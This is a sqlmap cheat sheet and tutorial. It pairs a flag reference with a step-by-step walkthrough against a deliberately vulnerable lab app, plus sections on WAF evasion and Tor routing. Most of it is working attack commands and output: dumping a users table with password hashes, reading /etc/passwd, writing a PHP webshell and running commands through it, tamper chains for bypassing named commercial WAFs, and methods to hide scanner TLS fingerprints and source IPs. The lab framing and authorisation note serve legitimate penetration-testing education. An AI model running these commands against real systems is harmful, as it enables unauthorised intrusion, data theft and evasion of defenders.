sqlmap is an open-source command-line tool that automates the detection and exploitation of SQL injection, from fingerprinting the database to dumping data, reading files, and dropping an OS shell. This cheat sheet groups the flags I actually reach for by task: target specification, request shaping, detection tuning, DBMS fingerprinting, enumeration, dumping, file system access, OS command execution, evasion, and tamper scripts.
Quick reference
sqlmap Command Reference
Every flag organised by task. Copy and adapt.
sqlmap ships with hundreds of flags. I use maybe forty of them regularly. This is the field reference for the ones that matter, grouped by the task I am trying to accomplish, with a short note on when each one is worth reaching for.
If you are new to sqlmap, the end-to-end walkthrough against a vulnerable lab app further down this page is the right next stop, and the WAF bypass and Tor routing sections cover the opsec side. If you are comparing tools, the best SQL injection tools list for 2026 covers the alternatives. For the underlying mechanics, the SQL injection deep dive has the full taxonomy.
What req.txt looks like (and how to grab it from your browser)
req.txt is a raw HTTP request file: method line, headers, blank line, body. Most of my commands use -r req.txt because it carries the entire request shape (method, headers, cookies, body) without re-typing. Here is what it actually looks like:
GET /product?id=1 HTTP/1.1
Host: target.example
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Accept-Language: en-US,en;q=0.9
Cookie: session=eyJhbGciOiJIUzI1NiJ9...; PHPSESSID=q9k2...
Connection: close
POST requests look the same with the method and body added:
POST /login HTTP/1.1
Host: target.example
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Cookie: PHPSESSID=q9k2...
Connection: close
username=admin&password=test
No special markers, no per-parameter annotations. sqlmap tests every parameter it finds in the request unless you restrict with -p. Mark a specific injection point with * only if you want to force sqlmap there.
Capturing it from Chrome or Firefox
You do not need Burp Suite for this. The DevTools built into Chrome and Firefox can produce everything sqlmap needs. Two paths, easiest first:
Easiest: save a HAR and skip writing req.txt by hand.
- Open DevTools: F12 on Windows/Linux, Cmd+Option+I on macOS.
- Open the Network tab. Enable Preserve log so a navigation does not wipe the captured requests.
- Trigger the target request in the page (click the link, submit the form, hit the API).
- Right-click any captured request in the list. In Chrome pick Save all as HAR with content. In Firefox pick Save All As HAR. Save as
traffic.har. - Point sqlmap at the HAR directly with
--harinstead of-r:
sqlmap --har=traffic.har --batchsqlmap lists every request it found in the HAR and asks which one to test. Pick the one carrying the parameter you want to probe. From then on the workflow is identical to the req.txt examples below, just swap -r req.txt for --har=traffic.har.
If you prefer an actual req.txt (worth the extra step when you want to hand-edit headers or insert a * injection-point marker):
- Same DevTools / Network tab setup.
- Click the request you want to capture. In Chrome open the Headers tab inside that request's panel; in Firefox the Headers tab is the default.
- Copy the request method line and every request header into a text file. The browsers display them in the right order already.
- Add a blank line, then the request body (if any). For POST forms that is the URL-encoded body. For JSON APIs it is the raw JSON.
- Save as
req.txt. Use with-r req.txtin every example below.
If you want a shortcut for the manual path: right-click the request → Copy → Copy as cURL (both browsers support this). The cURL command contains the URL, every header, and the body. You can either run that through a converter (curlconverter --language http <command> from npm, or any online cURL-to-HTTP tool) or just read it and assemble req.txt by hand: cURL's -H "Foo: bar" flags become header lines verbatim, --data 'x=y' becomes the body, and the URL gives you the method line.
Workflow templates
A few command lines I use as starting points and adapt from. The first batch uses the captured request file from the section above. The simpler ones below take a -u URL directly when you just need a quick probe.
Edit the values once and every example updates. The User-Agent dropdown defaults to --random-agent because the literal sqlmap default UA is signatured by every commercial WAF.
Tune the common flags once. Every command below reads from this. Out-of-range values get a red border. The Googlebot UA usually gets you hard-blocked faster than the default; pick it only when you know the target trusts crawlers.
Simplest possible probe, just a URL with a query string. Good for a first sanity check before you bother capturing a request:
sqlmap -u ':target_url' --batch :ua --level=:level --risk=:riskPOST request with form data, no req.txt needed. Forces --method=POST because --data is set:
sqlmap -u 'https://target.example/login' \
--data='username=admin&password=test' \
--batch :ua --level=:level --risk=:riskPOST with a JSON body (REST APIs). Mark the explicit injection point with * if more than one field is parsable:
sqlmap -u 'https://api.target.example/v1/users/search' \
--method=POST \
--headers='Content-Type: application/json' \
--data='{"q":"foo*","limit":10}' \
--batch :ua --level=:level --risk=:riskFirst pass against a captured request, light touch, defaults, see if anything is obvious:
sqlmap -r req.txt --batch :ua --level=:level --risk=:riskAuthenticated app, scoped to specific parameters (cookies come from req.txt):
sqlmap -r req.txt --batch -p user_id,product_id :ua \
--level=:level --risk=:risk --threads=:threadsBehind a WAF, slow and quiet (tamper chain layered on top):
sqlmap -r req.txt --batch :ua --delay=:delay --threads=:threads \
--tamper=between,randomcase,space2comment --time-sec=10Through Tor, paranoid mode (covered in detail in Route sqlmap through Tor and proxychains below):
sqlmap -r req.txt --batch --tor --tor-type=SOCKS5 --check-tor \
:ua --delay=:delay --threads=:threads --timeout=60Need the exit IP to land in (or avoid) a specific country, for example when the target geo-filters? See the Tor country code list and exit-node pinning.
Once injection is confirmed, the typical enumeration sequence. These take database and table names that vary per target, so they stay non-interactive:
sqlmap -r req.txt --batch --dbms=mysql --current-db
sqlmap -r req.txt --batch --dbms=mysql --tables -D target_db
sqlmap -r req.txt --batch --dbms=mysql --columns -D target_db -T users
sqlmap -r req.txt --batch --dbms=mysql --dump -D target_db -T users -C username,password--batch keeps it scriptable. --dbms=mysql skips the fingerprint step once you know the answer.
Walkthrough against a vulnerable lab app
The flags make the most sense once you have run the whole chain once. This is a complete walkthrough against a deliberately vulnerable lab target, from a fresh state (no captured request, nothing in ~/.local/share/sqlmap) to a dumped user table, a file read off the server's disk, and a webshell. The variants themselves are in the SQL injection deep dive.
A note on the output you will see. Every example below was produced against
techearl-labs/sql-injection/sqli-basic. The schema, users, table layout, and exploit behaviour are deterministic and will match what you get locally. A few outputs are environment-dependent and differ in minor ways: the MySQL minor version in the banner (depends on whichmysql:8.0image tag Docker pulled), the exact count of HTTP requests sqlmap reports, sqlmap's own session-cache file paths, and any timestamps. Those are illustrative; the structure underneath is what to follow.
The lab target
Pull and run the lab:
git clone https://github.com/ishankaru/techearl-labs.git
cd techearl-labs
docker compose up sqli-basicThe target listens on http://localhost:8080. It exposes a deliberately vulnerable product catalogue and login endpoint:
| Endpoint | Method | Vulnerable parameter |
|---|---|---|
/product?id=1 | GET | id (numeric, concatenated) |
/search.php?q=foo | GET | q (string, concatenated into LIKE) |
/login.php | POST | username, password (both concatenated) |
The MySQL backend runs as a user with FILE privilege and limited but real OS privilege (intentional for the lab).
Step 1: capture a baseline request
Capture req.txt the way the req.txt section above describes (DevTools HAR, hand-written, or a Burp "Copy to file"), pointed at http://localhost:8080/product?id=1. You can also pass the URL directly with -u; I rarely do, because the request file carries headers, cookies, body, and method without retyping.
Step 2: confirm injection exists (a manual sanity check)
Before running sqlmap, do one manual probe. It saves time when sqlmap is silent by telling you something is wrong somewhere else:
curl -s "http://localhost:8080/product?id=1" | grep -o '<title>.*</title>'
curl -s "http://localhost:8080/product?id=1'" | grep -oE '(<title>[^<]+|DB error[^<]*)'
curl -s "http://localhost:8080/product?id=1%20OR%201=1--%20-" | grep -oE '<h2>[^<]+</h2>'Note the %20 encoding for spaces. Modern curl refuses to send a URL with literal whitespace; the encoded form works everywhere. If the second response surfaces a "DB error: ..." line, the parameter is in a string context and MySQL is reporting the syntax error back, which means error-based extraction is on the table. If the third response shows multiple <h2> product names instead of one, you have boolean-style injection. Both confirm sqlmap will succeed.
Step 3: first sqlmap pass
sqlmap -r req.txt --batch--batch accepts every prompt. If your sqlmap build does not parse the request file correctly, the equivalent direct form works without one:
sqlmap -u 'http://localhost:8080/product?id=1' --batch --flush-sessionEither form produces the same scan. Output (abbreviated):
[INFO] testing connection to the target URL
[INFO] testing if the target URL content is stable
[INFO] target URL content is stable
[INFO] testing if GET parameter 'id' is dynamic
[INFO] GET parameter 'id' appears to be dynamic
[INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable
[INFO] testing for SQL injection on GET parameter 'id'
[INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[INFO] GET parameter 'id' appears to be 'AND boolean-based blind' injectable
[INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based ... (FLOOR)' injectable
[INFO] testing 'MySQL inline queries'
[INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[INFO] target URL appears to be UNION injectable with 3 columns
[INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] N
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Type: error-based
Type: time-based blind
Type: UNION query
---
[INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
Forty-seven requests, four detection types, fingerprint confirmed: MySQL.
Step 4: fingerprint and basic info
sqlmap -r req.txt --batch --dbms=mysql --banner --current-user --current-db --is-dba--dbms=mysql skips re-fingerprinting (we already know). Output:
banner: '8.0.46'
current user: 'webapp@%'
current database: 'shop'
current user is DBA: False
So we have MySQL 8.0.x, the connected user is webapp@% (Docker compose connects the PHP container to MySQL over a Docker network rather than a Unix socket, so the user host shows as %), the active database is shop, and we are not DBA. No DBA means an OS shell via xp_cmdshell-equivalent paths is unlikely, but file read via LOAD_FILE may still work if the FILE privilege is granted.
Step 5: enumerate databases, tables, columns
sqlmap -r req.txt --batch --dbms=mysql --dbsavailable databases [3]:
[*] information_schema
[*] performance_schema
[*] shop
List tables in shop, then columns of users:
sqlmap -r req.txt --batch --dbms=mysql -D shop --tables
sqlmap -r req.txt --batch --dbms=mysql -D shop -T users --columnsDatabase: shop
[6 tables]
+-------------+
| audit_log |
| page_views |
| products |
| sessions |
| tracking |
| users |
+-------------+
Database: shop
Table: users
[5 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| id | int |
| username | varchar(50) |
| password | varchar(60) |
| email | varchar(100)|
| is_admin | tinyint(1) |
+----------+-------------+
password is varchar(60), the right size for a bcrypt hash. tracking and page_views are the analytics tables the lab exposes for the header-injection step below.
Step 6: dump the users table
sqlmap -r req.txt --batch --dbms=mysql -D shop -T users --dumpDatabase: shop
Table: users
[3 entries]
+----+----------+--------------------------------------------------------------+----------------------+----------+
| id | username | password | email | is_admin |
+----+----------+--------------------------------------------------------------+----------------------+----------+
| 1 | admin | $2y$12$j6rGxbj7LnLf8UHljNgHpOO03hUVFsPJMUxbj8BYJoMaL7fWJcaaG | admin@example.test | 1 |
| 2 | alice | $2y$12$uu0JghvSOWGdxEVdPskHf.UoafrNqhXETtXnjYW0DjhbcQco9AuOq | alice@example.test | 0 |
| 3 | bob | $2y$12$HiaXHUazCuT/GANo63wNdumo/gtQaT.LxV7R54GTAapaUEyyWeiRq | bob@example.test | 0 |
+----+----------+--------------------------------------------------------------+----------------------+----------+
Three users, all bcrypt-hashed. sqlmap notices the hash format and offers to crack via its bundled dictionary ([Y/n/q]); crack offline with hashcat or john if you want, outside the scope here.
Step 7: file read
We are not DBA but the FILE privilege is set in the lab:
sqlmap -r req.txt --batch --dbms=mysql --file-read=/etc/passwd[INFO] the local file /tmp/sqlmaprgrwk0/sqlmaprcvsj is larger than zero. Saved to:
[INFO] /root/.local/share/sqlmap/output/localhost/files/_etc_passwd
In a real engagement this is where I grep for application config paths: /var/www/html/wp-config.php, /etc/mysql/my.cnf, application-specific env files.
Step 8: file write (the path to a webshell)
The lab DB user has FILE privilege and the webserver has a writable webroot. Write a minimal PHP webshell:
echo '<?php system($_GET["c"]); ?>' > shell.php
sqlmap -r req.txt --batch --dbms=mysql \
--file-write=shell.php \
--file-dest=/var/www/html/shell.phpThen:
curl "http://localhost:8080/shell.php?c=id"uid=33(www-data) gid=33(www-data) groups=33(www-data),999(mysqlshare)
Command execution as www-data, via a file written by the database: the classic "FILE privilege plus webroot-writable" chain. In a real report this is the moment to stop, document, and let the client decide on impact testing.
Step 9: SQL shell (interactive)
When you want to poke directly at the database without sqlmap's enumeration grammar in the way:
sqlmap -r req.txt --batch --dbms=mysql --sql-shellsql-shell> SELECT @@version, CURRENT_USER(), DATABASE()
[INFO] fetching SQL SELECT statement query output: 'SELECT @@version, CURRENT_USER(), DATABASE()'
@@version: '8.0.46'
CURRENT_USER(): 'webapp@%'
DATABASE(): 'shop'
Use CURRENT_USER() rather than USER(): USER() returns the auth identity as connected (the actual peer host or IP, e.g. webapp@172.27.0.3 in the Docker setup), while CURRENT_USER() returns the GRANT pattern that matched, the friendly webapp@%. --sql-query='...' is the single-shot equivalent for scripting.
Step 10: OS shell (when DBA)
If the connected user had been DBA, an OS shell is one flag away:
sqlmap -r req.txt --batch --dbms=mysql --os-shellOn MSSQL with xp_cmdshell enabled this works trivially. On MySQL, sqlmap needs to write a UDF to disk and load it, which requires write access to a directory MySQL can dlopen from. The lab user is not DBA, so this path fails; in practice, file write to the webroot (Step 8) gets you OS execution more reliably than --os-shell ever does.
Step 11: session and re-runs
sqlmap caches everything (target identification, detected injection types, fingerprint, fetched data) in ~/.local/share/sqlmap/output/<host>/, and subsequent runs reuse it by default. To force re-detection use --flush-session; to re-run queries but keep the detection cache use --fresh-queries. That is the difference between "we found injection, now I am exploring" and "the target changed, start over".
Step 12: header-based injection (the analytics endpoint)
Every step so far targeted the id query-string parameter. The lab also exposes an analytics endpoint that logs the request's User-Agent into page_views with concatenated SQL, the textbook header-based SQLi pattern:
sqlmap -u "http://localhost:8080/track?page=home" \
--level=3 --batch --random-agent--level=3 is the key. Default --level=1 does not test the User-Agent. To target it explicitly with the * marker, or to test a custom header the lab also reads:
sqlmap -u "http://localhost:8080/track?page=home" \
--user-agent="Mozilla/5.0 *" --batch
sqlmap -u "http://localhost:8080/track?page=home" \
--headers="X-Tenant-Id: 1*" --batchThe mechanics from here are identical to Steps 4 to 6. Analytics middleware is the single most common place I find SQL injection in real codebases, and default sqlmap settings miss it every time. Per-vector detail lives in the HTTP request vector map.
Evade WAFs and anti-detection
Most production targets sit behind a WAF (Cloudflare, AWS WAF, Akamai, Imperva, Fastly, or self-hosted ModSecurity), and default sqlmap against any of them gets identified inside the first few requests. sqlmap evades a WAF on three fronts: tamper scripts that obfuscate the payload past the signature engine (the flag reference is in Quick reference above), request shaping that defeats behavioural detection, and TLS-fingerprint laundering so the connection does not scream "Python". When all three fail, you drop to manual exploitation in Burp Repeater.
What WAFs actually catch
Modern WAFs combine three detection layers, and evasion has to address all three:
- Signature matching. Regex and lexer rules looking for SQL keywords, comment markers, payload patterns. The OWASP CRS (Core Rule Set) is the open reference; commercial engines layer their own on top.
- Reputation and fingerprint. User-Agent, TLS fingerprint (JA3/JA4), HTTP/2 frame ordering, request timing. A client that "looks like sqlmap" gets flagged before the payload is inspected.
- Behavioural and ML. Request rate, parameter-value entropy, response-size variance. A clever tamper script that defeats signatures is useless if your TLS fingerprint screams "Python requests library" on connection.
Identify the WAF first
wafw00f https://target.example/Older guides show a --identify-waf flag; current sqlmap lists it as deprecated because its heuristic WAF check now runs automatically at the start of a scan (--skip-waf turns it off). wafw00f is the standalone identification tool. Knowing the WAF tells you which tamper scripts to try first.
Tamper chains that still pull weight
sqlmap ships with around fifty tamper scripts; most were written against specific WAF versions and have aged unevenly. Starting chains, matched to the identified WAF (heuristic, varies by ruleset version, cycle through two or three before concluding a target is unreachable):
# Cloudflare
--tamper=between,randomcase,space2comment
# AWS WAF managed rules
--tamper=charunicodeencode,space2randomblank,randomcase
# ModSecurity with CRS 3.x (common in self-hosted)
--tamper=modsecurityversioned,space2comment,randomcaseScripts I would not bother with anymore: appendnullbyte (most modern stacks handle null bytes safely), versioned-comment scripts outside MySQL (other DBMS do not parse versioned comments at all), and multiplespaces (almost no current WAF cares).
Request shaping
Tamper scripts change the payload; request shaping changes the envelope around it.
- Pacing:
--delay=5 --threads=1 --timeout=30 --retries=3. A steady five-second cadence reads as human-paced. You forget about scan time and buy detection-rate reduction. - Realistic headers:
--random-agentplus padded-Hvalues (Accept-Language,Accept-Encoding: gzip, deflate, br,Cache-Control,Upgrade-Insecure-Requests). Default sqlmap headers are sparse; real browsers send a dozen. - HTTP parameter pollution:
--hppsplits payloads across duplicate parameters (?id=1&id=UNION&id=SELECT...). Servers reassemble these differently (PHP takes the last, Java's getParameter the first, ASP.NET concatenates with commas); a WAF that reassembles differently from the application misses the payload. - Chunked encoding:
--chunkedsplits POST bodies viaTransfer-Encoding: chunked. Less effective than it used to be (mature WAFs reassemble now) but worth trying against an older-identified WAF. - HEAD-based detection:
--null-connectionuses HEAD requests for boolean detection; the WAF often inspects fewer headers on HEAD, and content-length differences alone signal true/false.
TLS and HTTP fingerprint reduction
This is where sqlmap's defaults betray you. sqlmap makes its requests through Python's standard-library HTTP stack (urllib), not a browser engine, so the TLS handshake carries Python's OpenSSL fingerprint, which no real browser produces and a fingerprinting WAF can flag on sight. No tamper script fixes it. The realistic options:
- Burp Suite as the relay. Run sqlmap through Burp (
--proxy=http://127.0.0.1:8080). Burp's TLS stack is browser-like enough to pass most fingerprint checks. You lose some speed and gain fingerprint legitimacy. - curl-impersonate (patched TLS/HTTP-2 stacks matching real browsers) is the cleaner idea but awkward to bolt onto sqlmap, since sqlmap does not use it natively.
- Drop to manual. If TLS fingerprinting is an aggressive primary block (identical 403/challenge regardless of payload), the productivity gain of sqlmap is gone. Confirm injection with three hand-crafted payloads in Burp Repeater (one boolean, one error-trigger, one time-based), then build a manual extraction loop with Burp Intruder or a small Python script, reading one character at a time. This is maybe 10% of my SQLi work; the other 90% is sqlmap with the right tamper chain.
Order of operations, and the defender's view
When sqlmap defaults get blocked, the order I try: --random-agent and realistic headers, then --delay=3 --threads=1, then a tamper chain matched to the WAF, then --hpp and --chunked, then route through Burp to launder the TLS fingerprint, then drop to manual. If routing through Burp still fails, the target is hardened enough that scanning without an allow-list is a bad use of time: get the IP whitelisted and scan from a known source.
From the other side, the highest-value detection rule is not at the WAF: it is application logs showing information_schema access from an account that should not need it. It is cheap to write, near-zero false positive, and harder to bypass than any network-layer signature. Backstop it with per-source counters on encoded-looking payloads and TLS fingerprints that do not match a known browser. Treat any commercial WAF as a speed bump, not a wall.
Route sqlmap through Tor and proxychains
There are three real reasons to route sqlmap through Tor: the contract requires source-IP rotation, you are testing your own infrastructure from an unfamiliar network and do not want to whitelist a residential IP, or you must test from a different geography to validate region-based controls. There is one reason people think they need it but do not: anonymity does not change the authorisation question. If you do not have permission to test, do not test. Three things commonly break the anonymity assumption, so this section solves each explicitly: DNS leaks (resolving hostnames locally then proxying the IP), exit-node reuse (aggressive scans get the current exit IP blacklisted in minutes), and mixing routings that fight each other.
Method 1: sqlmap's native --tor flag
The cleanest path for sqlmap specifically. It needs a working local Tor daemon:
sudo apt install tor
sudo systemctl start tor
sudo systemctl enable tor
ss -ltnp | grep 9050Tor listens on 127.0.0.1:9050 (SOCKS5) by default. Run sqlmap through it:
sqlmap -r req.txt --batch \
--tor --tor-type=SOCKS5 --tor-port=9050 --check-tor \
--random-agent --delay=3 --threads=1 --timeout=60The flags that matter:
--tor-type=SOCKS5is critical: SOCKS5 supports remote DNS resolution, SOCKS4 leaks DNS to your local resolver. Set it explicitly even though recent sqlmap defaults to SOCKS5.--check-toris the most important flag here. sqlmap probes a Tor checker before testing and confirms the traffic is actually exiting through Tor. Without it, a misconfigured proxy can route through your real IP and you never know. If it reports your traffic is NOT going through Tor, stop and fix; do not bypass the check.--random-agent,--delay=3,--threads=1,--timeout=60because Tor exits are signatured, slow, and shared. Parallel requests through a single circuit fail or rebuild mid-scan.
Method 2: proxychains-ng wrapper
When sqlmap's native flag is not flexible enough (chaining multiple proxies, or wrapping a tool with no native proxy support), proxychains-ng (the maintained fork) wraps any binary's TCP connections:
sudo apt install proxychains4Configure /etc/proxychains4.conf:
strict_chain
proxy_dns
remote_dns_subnet 224
tcp_read_time_out 15000
tcp_connect_time_out 8000
[ProxyList]
socks5 127.0.0.1 9050
The critical lines: strict_chain refuses to silently fall through if a proxy is unreachable; proxy_dns resolves hostnames remotely through the chain (this is the DNS-leak fix); socks5 not socks4. Run sqlmap under it:
proxychains4 -q sqlmap -r req.txt --batch \
--random-agent --delay=3 --threads=1 --timeout=60Do not also pass --tor to sqlmap under proxychains. The two routings fight and you get a broken connection or a circuit-of-circuits that leaks unpredictably.
Verify before you test
Verification has caught misconfiguration in something like a third of the times I have set this up on a new machine. Run a curl probe through the same routing sqlmap will use:
# Through Tor's SOCKS proxy directly:
curl --socks5-hostname 127.0.0.1:9050 https://check.torproject.org/api/ip
# Through proxychains, including a DNS cross-check:
proxychains4 -q curl https://api.ipify.org
proxychains4 -q curl https://dnsleaktest.com/For Tor, expect JSON with "IsTor": true and an IP that is not yours. For proxychains, the DNS resolvers reported should be Tor-related or your proxy provider's, not your ISP's; if they are your ISP's, proxy_dns is not effective. If verification fails, stop and fix.
Rate-limit reality and exit rotation
Tor exits are slow and shared. A scan that takes ten minutes from home can take an hour through Tor. Use --threads=1, --delay=3 to --delay=10, and --timeout=60 to --timeout=120. Boolean-blind extractions are especially painful: a four-thousand-byte dump by binary search is sixteen thousand requests, each delayed and three-hopped. If sqlmap reports many timeouts, the circuit has aged out or the exit is blacklisted; force a new one, then restart with --fresh-queries:
# With Tor's control port enabled in /etc/tor/torrc:
echo -e 'AUTHENTICATE\nSIGNAL NEWNYM\nQUIT' | nc 127.0.0.1 9051If you need the exit to land in (or avoid) a specific country, see the Tor country code list and exit-node pinning.
When not to use Tor with sqlmap
Tor is the wrong tool when the target hard-blocks Tor exits (you get uniform 403s and misread a hardened target for an unreachable one), when your engagement has a source-IP allow-list (Tor defeats your own whitelist), for out-of-band exploitation (the target's DB cannot call back to a Tor exit), or when the scope says "test from this IP" (Tor breaks the audit trail). If you do chain a VPN, VPN-then-Tor is the usual correct order (your ISP sees only VPN traffic, the entry guard sees the VPN exit); Tor-then-VPN reintroduces the VPN provider as a single point of identifiability and is usually wrong. Use Tor when the threat model includes anonymity from the target itself; otherwise scan from a known, agreed source.
Flags I almost never use
For completeness, a short list of flags that exist but rarely earn their keep in real engagements:
--predict-output, slows things down without changing results in most cases.--crawl=N, sqlmap's own crawler is weak. Use a real crawler (ffuf, hakrawler, gospider) then feed the URLs in.--check-internet, adds round trips. If your connection is broken, you will know.
A note on responsible use
Every flag above is dual use. The same --dump that exfiltrates a production user table is the one I run against my own lab targets fifty times a week. Use these against systems you own or are explicitly authorised to test. See the authorisation block at the top of this page and the legal-framing notes in the SQL injection deep dive.
Sources
Authoritative references this article was fact-checked against.
- sqlmap, Usage wiki (official)github.com
- sqlmap, official repositorygithub.com
- sqlmap, Dependencies wiki (official)github.com
- PortSwigger Web Security Academy, SQL injectionportswigger.net
- sqlmap, bundled tamper scripts (official source)github.com
- OWASP, Web Application Firewallowasp.org
- The Tor Projecttorproject.org
- proxychains-ng, official repositorygithub.com
- sqlmap usage wikigithub.com





